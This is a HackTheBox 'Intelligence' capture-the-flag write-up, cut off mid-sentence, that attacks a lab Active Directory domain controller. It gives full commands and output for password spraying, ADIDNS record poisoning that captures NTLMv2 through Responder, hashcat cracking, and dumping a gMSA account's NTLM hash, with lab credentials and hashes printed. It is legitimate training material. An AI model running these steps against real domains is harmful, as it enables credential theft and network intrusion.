[HackTheBox] Intelligence
jamarir
Just another Password Spray / ADIDNS Poisoning / NTLMv2 Crack / gMSA Password (NTHash) / Constrained Delegation (S4U) / msDS-ManagedPassword Constructed Attribute (LDAP Req) Write-up.
Footprinting
Open ports
The SYN and NSE scan against the target reveal the following services:
jamarir@kali:~$ sudo nmap 10.10.10.248 -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open
jamarir@kali:~$ nmap 10.10.10.248 -Pn --disable-arp-ping -sC -sV -v -oA nse -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)')
jamarir@kali:~$ cat syn_full.nmap
[...]
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49667/tcp open unknown
49691/tcp open unknown
49692/tcp open unknown
49711/tcp open unknown
49717/tcp open unknown
49740/tcp ope)n unknown
In particular, LDAP/S (389/636), DNS (53), but most importantly Kerberos (88) show this is a DC, whose FQDN is DC.intelligence.htb, as shown by LDAP (shrinked output):
jamarir@kali:~$ cat nse.nmap
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
As a DNS server, it becomes our local resolver:
jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.10.248' /etc/resolv.conf
Also, we’re NTP de-synchronized, let's fix this:
jamarir@kali:~$ cat nse.nmap
[...]
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: <DATE>; +7h01m24s from scanner time.
[...]
jamarir@kali:~$ sudo timedatectl set-ntp 0; sudo rdate -n 10.10.10.248
As it’s quite uncommon on DCs, let’s start to check the HTTP service hosting an IIS application.
“Lorem ipsum dolor […]” Web App
“Lorem ipsum dolor […]” PDFs
The main web page contains nothing really interesting, except an e-mail: contact@intelligence.htb:
And 2 dummy PDF documents to download, named 2020-01-01-upload.pdf and 2020-12-15-upload.pdf:
Naturally, we could brute force all the files and download them based on their nomenclature:
for y in 2020 2021; do
for m in {01..12}; do
for d in {01..31}; do
wget -q http://dc.intelligence.htb/documents/$y-$m-$d-upload.pdf;
done
done
done
Which gives us numerous files that weren’t listed in the application’s interface:
jamarir@kali:~$ ls
2020-01-01-upload.pdf 2020-04-02-upload.pdf 2020-06-15-upload.pdf 2020-09-06-upload.pdf 2020-12-20-upload.pdf
2020-01-02-upload.pdf 2020-04-04-upload.pdf 2020-06-21-upload.pdf 2020-09-11-upload.pdf 2020-12-24-upload.pdf
2020-01-04-upload.pdf 2020-04-15-upload.pdf 2020-06-22-upload.pdf 2020-09-13-upload.pdf 2020-12-28-upload.pdf
2020-01-10-upload.pdf 2020-04-23-upload.pdf 2020-06-25-upload.pdf 2020-09-16-upload.pdf 2020-12-30-upload.pdf
2020-01-20-upload.pdf 2020-05-01-upload.pdf 2020-06-26-upload.pdf 2020-09-22-upload.pdf 2021-01-03-upload.pdf
2020-01-22-upload.pdf 2020-05-03-upload.pdf 2020-06-28-upload.pdf 2020-09-27-upload.pdf 2021-01-14-upload.pdf
2020-01-23-upload.pdf 2020-05-07-upload.pdf 2020-06-30-upload.pdf 2020-09-29-upload.pdf 2021-01-25-upload.pdf
2020-01-25-upload.pdf 2020-05-11-upload.pdf 2020-07-02-upload.pdf 2020-09-30-upload.pdf 2021-01-30-upload.pdf
2020-01-30-upload.pdf 2020-05-17-upload.pdf 2020-07-06-upload.pdf 2020-10-05-upload.pdf 2021-02-10-upload.pdf
2020-02-11-upload.pdf 2020-05-20-upload.pdf 2020-07-08-upload.pdf 2020-10-19-upload.pdf 2021-02-13-upload.pdf
2020-02-17-upload.pdf 2020-05-21-upload.pdf 2020-07-20-upload.pdf 2020-11-01-upload.pdf 2021-02-21-upload.pdf
2020-02-23-upload.pdf 2020-05-24-upload.pdf 2020-07-24-upload.pdf 2020-11-03-upload.pdf 2021-02-25-upload.pdf
2020-02-24-upload.pdf 2020-05-29-upload.pdf 2020-08-01-upload.pdf 2020-11-06-upload.pdf 2021-03-01-upload.pdf
2020-02-28-upload.pdf 2020-06-02-upload.pdf 2020-08-03-upload.pdf 2020-11-10-upload.pdf 2021-03-07-upload.pdf
2020-03-04-upload.pdf 2020-06-03-upload.pdf 2020-08-09-upload.pdf 2020-11-11-upload.pdf 2021-03-10-upload.pdf
2020-03-05-upload.pdf 2020-06-04-upload.pdf 2020-08-19-upload.pdf 2020-11-13-upload.pdf 2021-03-18-upload.pdf
2020-03-12-upload.pdf 2020-06-07-upload.pdf 2020-08-20-upload.pdf 2020-11-24-upload.pdf 2021-03-21-upload.pdf
2020-03-13-upload.pdf 2020-06-08-upload.pdf 2020-09-02-upload.pdf 2020-11-30-upload.pdf 2021-03-25-upload.pdf
2020-03-17-upload.pdf 2020-06-12-upload.pdf 2020-09-04-upload.pdf 2020-12-10-upload.pdf 2021-03-27-upload.pdf
2020-03-21-upload.pdf 2020-06-14-upload.pdf 2020-09-05-upload.pdf 2020-12-15-upload.pdf
If we look at each PDF manually (which mostly contain Lorem Ipsum Dolor texts):
We find two files that contain actual interesting information:
- 2020-12-30-upload.pdf
- 2020-06-04-upload.pdf
We could also have converted the PDFs to text using the
pdftotexttool:jamarir@kali:~$ sudo apt install poppler-utils jamarir@kali:~$ for f in documents/*; do pdftotext -q -layout -raw $f /dev/stdout done
We see the username Ted, and the password NewIntelligenceCorpUser9876. But these credentials combined aren’t valid :/
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'ted' -p 'NewIntelligenceCorpUser9876' --pass-pol
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\ted:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
“Lorem ipsum dolor […]” Metadata
But if we exiftool these files, we see potential usernames !
jamarir@kali:~$ exiftool documents/*upload.pdf |grep 'Creator' |sort -u
Creator : Anita.Roberts
Creator : Brian.Baker
Creator : Brian.Morris
Creator : Daniel.Shelton
Creator : Danny.Matthews
Creator : Darryl.Harris
Creator : David.Mcbride
Creator : David.Reed
Creator : David.Wilson
Creator : Ian.Duncan
Creator : Jason.Patterson
Creator : Jason.Wright
Creator : Jennifer.Thomas
Creator : Jessica.Moody
Creator : John.Coleman
Creator : Jose.Williams
Creator : Kaitlyn.Zimmerman
Creator : Kelly.Long
Creator : Nicole.Brock
Creator : Richard.Williams
Creator : Samuel.Richardson
Creator : Scott.Scott
Creator : Stephanie.Young
Creator : Teresa.Williamson
Creator : Thomas.Hall
Creator : Thomas.Valenzuela
Creator : Tiffany.Molina
Creator : Travis.Evans
Creator : Veronica.Patel
Creator : William.Lee
Thus, we can use the username-anarchy tool to generate a list of potential username candidates in the domain, in the Firstname,Lastname CSV format:
jamarir@kali:~$ exiftool documents/*-upload.pdf |grep 'Creator' |sort -u |awk -F':' '{print $2}' |grep -oP '^\s+\K(.*)' |sed -n 's/\./,/p' > names.txt
jamarir@kali:~$ sed -i '1i Firstname,Lastname' names.txt
jamarir@kali:~$ username-anarchy --list-format
Plugin name Example
--------------------------------------------------------------------------------
first anna
firstlast annakey
first.last anna.key
firstlast[8] annakey
first[4]last[4] annakey
firstl annak
f.last a.key
flast akey
[...]
jamarir@kali:~$ username-anarchy --input-file names.txt --select-format firstlast,first.last,firstl,f.last,flast,lfirst,l.first,lastf,last.f,last.first > usernames_candidates.txt
And password spray NewIntelligenceCorpUser987 against these username candidates. The credentials tiffany.molina:NewIntelligenceCorpUser9876 are valid against SMB :D
jamarir@kali:~$ nxc smb 10.10.10.248 -u usernames_candidates.txt -p 'NewIntelligenceCorpUser9876' --continue-on-success |grep -v 'STATUS_LOGON_FAILURE'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\tiffany.molina:NewIntelligenceCorpUser9876
“Lorem ipsum dolor […]” Share
As usual, checking the shares on which Tiffany can access discloses the interesting IT and Users folders:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'tiffany.molina' -p 'NewIntelligenceCorpUser9876' --shares
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\tiffany.molina:NewIntelligenceCorpUser9876
SMB 10.10.10.248 445 DC [*] Enumerated shares
SMB 10.10.10.248 445 DC Share Permissions Remark
SMB 10.10.10.248 445 DC ----- ----------- ------
SMB 10.10.10.248 445 DC ADMIN$ Remote Admin
SMB 10.10.10.248 445 DC C$ Default share
SMB 10.10.10.248 445 DC IPC$ READ Remote IPC
SMB 10.10.10.248 445 DC IT READ
SMB 10.10.10.248 445 DC NETLOGON READ Logon server share
SMB 10.10.10.248 445 DC SYSVOL READ Logon server share
SMB 10.10.10.248 445 DC Users READ
The user flag is in the Tiffany’s Desktop folder:
jamarir@kali:~$ smbclient.py 'intelligence.htb/tiffany.molina:NewIntelligenceCorpUser9876@10.10.10.248'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use Users
# ls
drw-rw-rw- 0 Mon Apr 19 03:20:26 2021 .
drw-rw-rw- 0 Mon Apr 19 03:20:26 2021 ..
drw-rw-rw- 0 Mon Apr 19 02:18:39 2021 Administrator
drw-rw-rw- 0 Mon Apr 19 05:16:30 2021 All Users
drw-rw-rw- 0 Mon Apr 19 04:17:40 2021 Default
drw-rw-rw- 0 Mon Apr 19 05:16:30 2021 Default User
-rw-rw-rw- 174 Mon Apr 19 05:15:17 2021 desktop.ini
drw-rw-rw- 0 Mon Apr 19 02:18:39 2021 Public
drw-rw-rw- 0 Mon Apr 19 03:20:26 2021 Ted.Graves
drw-rw-rw- 0 Mon Apr 19 02:51:46 2021 Tiffany.Molina
# cat Tiffany.Molina/Desktop/user.txt
f7[...]47
Privilege Escalation
Rabbit BloodHound’ation
Because we have access to LDAP, we can dump the domain’s data as Tiffany:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'tiffany.molina' -p 'NewIntelligenceCorpUser9876' -d 'intelligence.htb' --dns-server 10.10.10.248 --bloodhound --collection Allmv
But unfortunately, Tiffany has no specific right on the domain:
Also, no interesting user descriptions are disclosed:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'tiffany.molina' -p 'NewIntelligenceCorpUser9876' -M get-desc-users
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.248 389 DC [+] intelligence.htb\tiffany.molina:NewIntelligenceCorpUser9876
GET-DESC... 10.10.10.248 389 DC [+] Found following users:
GET-DESC... 10.10.10.248 389 DC User: Administrator description: Built-in account for administering the computer/domain
GET-DESC... 10.10.10.248 389 DC User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.10.10.248 389 DC User: krbtgt description: Key Distribution Center Service Account
Finally, neither Kerberoastable, nor ASREPRoastable account are configured.
IT Down Detector
As we saw earlier, Tiffany may access the IT share. What’s in there ?
jamarir@kali:~$ smbclient.py intelligence.htb/'tiffany.molina:NewIntelligenceCorpUser9876'@10.10.10.248 <<<$(echo 'use IT\nls')
[...]
# # drw-rw-rw- 0 Mon Apr 19 00:50:58 2021 .
drw-rw-rw- 0 Mon Apr 19 00:50:58 2021 ..
-rw-rw-rw- 1046 Mon Apr 19 00:50:58 2021 downdetector.ps1
# Bye!
A PowerShell script named downdetector.ps1, beautified as:
jamarir@kali:~$ smbclient.py intelligence.htb/'tiffany.molina:NewIntelligenceCorpUser9876'@10.10.10.248 <<<$(echo 'use IT\ncat downdetector.ps1')
[...]
# # # Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
# Bye!
Every 5 minutes (as suggested by the first comment), this script checks if a web* DNS record exists. If so, it runs Invoke-WebRequest against it, sending credentials via -UseDefaultCredentials. Otherwise, Ted Graves emails himself that the website is down.
Therefore, this script is most likely run by Ted Graves, and our purpose would be to disclose his credentials to a website we control.
ADIDNS & DNS Record Poisoning
Googling DomainDnsZones coerce leads us to the hacker recipes's ADIDNS spoofing page. ADIDNS is simply an implementation of the DNS replication topology into Active Directory, easing DNS administration. In particular, DNS replication is automatically performed by the ADDS among DCs running DNS.
As stated in the hacker recipes’s page, every authenticated user is allowed to register arbitrary DNS records via LDAP using the dnstool.py tool from the krbrelayx project, if the record doesn’t exist. Our IP is 10.10.14.10, so let’s run a local HTTP server and add a DNS record to ourselves for web1.intelligence.htb:
jamarir@kali:~$ python -m http.server --bind 10.10.14.10 80
Serving HTTP on 10.10.14.10 port 80 (http://10.10.14.10:80/) ...
jamarir@kali:~$ dnstool.py -u 'intelligence.htb\tiffany.molina' -p 'NewIntelligenceCorpUser9876' -r 'web1.intelligence.htb' -d '10.10.14.10' --action add 'DC.intelligence.htb'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
With that DNS record created, we could nslookup / query it:
jamarir@kali:~$ nslookup web1.intelligence.htb Server: 10.10.10.248 Address: 10.10.10.248#53 Name: web1.intelligence.htb Address: 10.10.14.10 jamarir@kali:~$ dnstool.py -u 'intelligence.htb\tiffany.molina' -p 'NewIntelligenceCorpUser9876' --action query --record 'web1.intelligence.htb' 'DC.intelligence.htb' [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found record web1 DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb [+] Record entry: - Type: 1 (A) (Serial: 142) - Address: 10.10.14.10The
addaction can be coupled with--allow-multipleto add another A record to that same DNS entry:jamarir@kali:~$ dnstool.py -u 'intelligence.htb\tiffany.molina' -p 'NewIntelligenceCorpUser9876' --action add --record 'web1' --allow-multiple --data '10.10.14.11' 'DC.intelligence.htb' [...] [+] Record entry: DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb - Type: 1 (A) (Serial: 108) - Address: 10.10.14.11 DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb - Type: 1 (A) (Serial: 108) - Address: 10.10.14.10While the
modifyaction overwrites all the initial A records to the data specified:jamarir@kali:~$ dnstool.py -u 'intelligence.htb\tiffany.molina' -p 'NewIntelligenceCorpUser9876' --action modify --record 'web1' --data '10.10.14.12' 'DC.intelligence.htb' [...] [+] Record entry: DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb - Type: 1 (A) (Serial: 109) - Address: 10.10.14.12Finally, the
ldapdeleteaction deletes the DNS record:jamarir@kali:~$ dnstool.py -u 'intelligence.htb\tiffany.molina' -p 'NewIntelligenceCorpUser9876' --action ldapdelete --record 'web1' 'DC.intelligence.htb'
After some minutes, Ted’s firing our web server:
jamarir@kali:~$ python -m http.server --bind 10.10.14.10 80
Serving HTTP on 10.10.14.10 port 80 (http://10.10.14.10:80/) ...
10.10.10.248 - - [<DATE>] "GET / HTTP/1.1" 200 -
But no credentials are disclosed in that GET request. Indeed, the credentials sent through -UseDefaultCredentials aren’t handled by a Python’s web server:
On the contrary, the NTLM authentication is processed by Responder !
jamarir@kali:~$ sudo responder -I tun0 -v
[...]
[HTTP] Sending NTLM authentication request to 10.10.10.248
[HTTP] GET request from: ::ffff:10.10.10.248 URL: /
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:dd58055c4d7fe940:CBFCF4F658D05EE2F0DE2D9283EF123C:0101000000000000ADDE9B595EB6DB01A886C0AE440FBEDE0000000002000800440046003400380001001E00570049004E002D004100460044003300320048005700410048004E0044000400140044004600340038002E004C004F00430041004C0003003400570049004E002D004100460044003300320048005700410048004E0044002E0044004600340038002E004C004F00430041004C000500140044004600340038002E004C004F00430041004C0008003000300000000000000000000000002000007BC87DBB2BB817D316FAC4F56A72587E632126715615F4FDC707D1D8EBB2608E0A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
That NTLM response is the Net-NTLMv2 hash.
BTW, we may analyze how that Net-NTLMv2 Hash is constructed from the NTLMSSP_CHALLENGE and NTLMSSP_AUTH packets:
<user>::<domain>:<challenge>:<NTProofStr>:<NTLMv2Response>
Also, the hashes Responder stole are archived in the
/usr/share/responder/directory, and could also be retrieved from theResponder.dbSQLite database:jamarir@kali:~$ sqlite3 /usr/share/responder/Responder.db 'SELECT * FROM responder' <DATE>|HTTP|NTLMv2|10.10.10.248||Ted.Graves::intelligence:dd58055c4d7fe940:CBFCF4F658D05EE2F0DE2D9283EF123C:0101000000000000ADDE9B595EB6DB01A886C0AE440FBEDE0000000002000800440046003400380001001E00570049004E002D004100460044003300320048005700410048004E0044000400140044004600340038002E004C004F00430041004C0003003400570049004E002D004100460044003300320048005700410048004E0044002E0044004600340038002E004C004F00430041004C000500140044004600340038002E004C004F00430041004C0008003000300000000000000000000000002000007BC87DBB2BB817D316FAC4F56A72587E632126715615F4FDC707D1D8EBB2608E0A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000Or in the logs:
jamarir@kali:~$ cat /usr/share/responder/logs/HTTP-NTLMv2-10.10.10.248.txt Ted.Graves::intelligence:dd58055c4d7fe940:CBFCF4F658D05EE2F0DE2D9283EF123C:0101000000000000ADDE9B595EB6DB01A886C0AE440FBEDE0000000002000800440046003400380001001E00570049004E002D004100460044003300320048005700410048004E0044000400140044004600340038002E004C004F00430041004C0003003400570049004E002D004100460044003300320048005700410048004E0044002E0044004600340038002E004C004F00430041004C000500140044004600340038002E004C004F00430041004C0008003000300000000000000000000000002000007BC87DBB2BB817D316FAC4F56A72587E632126715615F4FDC707D1D8EBB2608E0A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
With the challenge and the corresponding response, we may crack the Net-NTLMv2 hash of Ted:
jamarir@kali:~$ hashcat --help |awk '/Hash modes/, /Brain Client Features/' |head -n -1 |grep -i 'ntlm'
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
1000 | NTLM
jamarir@kali:~$ hashcat -m 5600 ted_ntlmv2.hash /usr/share/wordlists/rockyou.txt --force
[...]
Ted.Graves::intelligence:dd[...]40:CB[...]3C:01[...]00:Mr.Teddy
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TED.GRAVES::intelligence:dd58055c4d7fe940:cbfcf4f65...000000
[...]
The credentials are TED.GRAVES:Mr.Teddy !
Mr.Teddy & gMSA
This user has not access to more shares:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'TED.GRAVES' -p 'Mr.Teddy' --shares
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\TED.GRAVES:Mr.Teddy
SMB 10.10.10.248 445 DC [*] Enumerated shares
SMB 10.10.10.248 445 DC Share Permissions Remark
SMB 10.10.10.248 445 DC ----- ----------- ------
SMB 10.10.10.248 445 DC ADMIN$ Remote Admin
SMB 10.10.10.248 445 DC C$ Default share
SMB 10.10.10.248 445 DC IPC$ READ Remote IPC
SMB 10.10.10.248 445 DC IT READ
SMB 10.10.10.248 445 DC NETLOGON READ Logon server share
SMB 10.10.10.248 445 DC SYSVOL READ Logon server share
SMB 10.10.10.248 445 DC Users READ
But interestingly, he's a member of the ITSUPPORT group, who can read the gMSA password of the svc_int$ user, who has himself a delegation right over the DC:
As this adsecurity article states, members of the msDS-GroupMSAMembership attribute are allowed to read gMSA passwords, which we can list using our BloodHound data:
jamarir@kali:~$ cat DC_10.10.10.248_*_users.json|jq '.data[] |.Aces[] |select(.RightName=="ReadGMSAPassword")'
{
"RightName": "ReadGMSAPassword",
"IsInherited": false,
"PrincipalSID": "INTELLIGENCE.HTB-S-1-5-32-544",
"PrincipalType": "Group"
}
{
"RightName": "ReadGMSAPassword",
"IsInherited": false,
"PrincipalSID": "S-1-5-21-4210132550-3389855604-3437519686-1000",
"PrincipalType": "Computer"
}
{
"RightName": "ReadGMSAPassword",
"IsInherited": false,
"PrincipalSID": "S-1-5-21-4210132550-3389855604-3437519686-1142",
"PrincipalType": "Group"
}
jamarir@kali:~$ rpcclient 10.10.10.248 -U 'TED.GRAVES%Mr.Teddy' -c 'lookupsids S-1-5-21-4210132550-3389855604-3437519686-1000 S-1-5-21-4210132550-3389855604-3437519686-1142'
S-1-5-21-4210132550-3389855604-3437519686-1000 intelligence\DC$ (1)
S-1-5-21-4210132550-3389855604-3437519686-1142 intelligence\itsupport (2)
gMSAs (Group Managed Service Accounts) are domain service accounts that help secure services. Shortly stated, these accounts are automatically managed by Windows to set strong and monthly-updated passwords by default, while easing their management across multiple servers.
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'TED.GRAVES' -p 'Mr.Teddy' -d 'intelligence.htb' --query '(&(sAMAccountName=svc_int$))' '*'
[...]
LDAP 10.10.10.248 389 DC dNSHostName: svc_int.intelligence.htb
LDAP 10.10.10.248 389 DC objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
[...]
LDAP 10.10.10.248 389 DC msDS-ManagedPasswordId: 0x010000004b44534b02000000670100001b0000001000000059ae9d4f448f56bf92a5f4082ed6b61100000000220000002200000069006e00740065006c006c006900670065006e00630065002e00680074006200000069006e00740065006c006c006900670065006e00630065002e006800740062000000
LDAP 10.10.10.248 389 DC msDS-ManagedPasswordPreviousId: 0x010000004b44534b0200000067010000190000000800000059ae9d4f448f56bf92a5f4082ed6b61100000000220000002200000069006e00740065006c006c006900670065006e00630065002e00680074006200000069006e00740065006c006c006900670065006e00630065002e006800740062000000
LDAP 10.10.10.248 389 DC msDS-ManagedPasswordInterval: 30
LDAP 10.10.10.248 389 DC msDS-GroupMSAMembership: 0x010004801400000000000000000000002400000001020000000000052000000020020000040050000200000000002400ff010f000105000000000005150000004686f1fa74170dca4663e4cce803000000002400ff010f000105000000000005150000004686f1fa74170dca4663e4cc76040000
The issue here is that if we can read the svc_int$'s gMSA password BLOB:
jamarir@kali:~$ ldapsearch -N -H ldap://DC.intelligence.htb -U 'TED.GRAVES' -w 'Mr.Teddy' -b 'CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb' -s base 'msDS-ManagedPassword'
[...]
# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAmSMaC/avwpkfYPDUqzaCeFVh6g1jxXT3Tp
K2vlIqh1Bv11HjIjS3EhqSHxl/8atfcKz6s2R/51QA6VNk80rTiobWOSAPjwD9lo5iERU3VkNdiBZ
6oaprTG4MbxDNVxPmink5GCuMU7hsC9Zz/tvWQ1lIow8IxhaSqq39QZikGccXoA3Gh9EjEqTfedEX
oFNvR3Kl4Onpyfu31Q/fVFXhS5A0EecJ6ZjdTjduNAwNqBKdZiMvW0R8jsv5MP9NyASRtEjtDO3xv
eJyrPUyZVTH/9Wgu+7yG8A17OJt2b5osmgqVlQiVHLnEqoqjBUhlNmavj5QyX0xbhd/g+tJwE2y9U
AACKWopVkJLfMefw9pzCI6hX1YnpXD6xvqaIW7ptaI0tW4GfkTUxFP1P+fYH5NgJiHR+B/qt8Cx9T
U2HTe/HbZrs4nU+yy+G++qNwFCSm2t9ExGf6BJCQkN3bhCOLZK13sFa9aajHT3KQtOlIWP47v5n0m
VD3CbU284JoE+kXKzYAPnjXzNQNn+yHbpYleVCms6tGCtkYJqIck5QkBKtrGKBTzx7cWcadh8obiI
qC4+O+2iZS+NQLgP+cvo39PhZpT7kkuQaQB74wSHvL5FRSmvTtVfaoB+n97irAgirgY/T7YHd8lxU
DXOSKb/AuK0RjvNkgoI5r1lbBe5wX5Y/eMEQAAMEoG2j9FgAAwcpKtfwWAAA=
[...]
Then, we may steal that service’s NTHash using:
The
gMSAdumper.pyscript:jamarir@kali:~$ gMSADumper.py -u 'TED.GRAVES' -p 'Mr.Teddy' -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport svc_int$:::b05dfb2636385604c6d36b0ca61e35cb svc_int$:aes256-cts-hmac-sha1-96:77a2141a0d0b64a8858ff6eac44a82cb388161b70a0ee4557566f4a6fc2091aa svc_int$:aes128-cts-hmac-sha1-96:e9b3d6e223cd226f04fb91aaf759765dOr nxc:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u TED.GRAVES -p Mr.Teddy --gmsa SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False) LDAPS 10.10.10.248 636 DC [+] intelligence.htb\TED.GRAVES:Mr.Teddy LDAPS 10.10.10.248 636 DC [*] Getting GMSA Passwords LDAPS 10.10.10.248 636 DC Account: svc_int$ NTLM: b05dfb2636385604c6d36b0ca61e35cbOr bloodyAD:
jamarir@kali:~$ bloodyAD --host "10.10.10.248" -d "intelligence.htb" -u "TED.GRAVES" -p "Mr.Teddy" get object 'svc_int$' --attr 'msDS-ManagedPassword' distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:b05dfb2636385604c6d36b0ca61e35cb msDS-ManagedPassword.B64ENCODED: IpailWQkt8x5/D2nMIjqFfVielcPrG+pohbum1ojS1bgZ+RNTEU/U/59gfk2AmIdH4H+q3wLH1NTYdN78dtmuzidT7LL4b76o3AUJKba30TEZ/oEkJCQ3duEI4tkrXewVr1pqMdPcpC06UhY/ju/mfSZUPcJtTbzgmgT6RcrNgA+eNfM1A2f7IduliV5UKazq0YK2RgmohyTlCQEq2sYoFPPHtxZxp2HyhuIioLj477aJlL41AuA/5y+jf0+FmlPuSS5BpAHvjBIe8vkVFKa9O1V9qgH6f3uKsCCKuBj9Ptgd3yXFQNc5Ipv8C4rRGO82SCgjmvWVsF7nBflj94wRA==Or the DSInternals’s
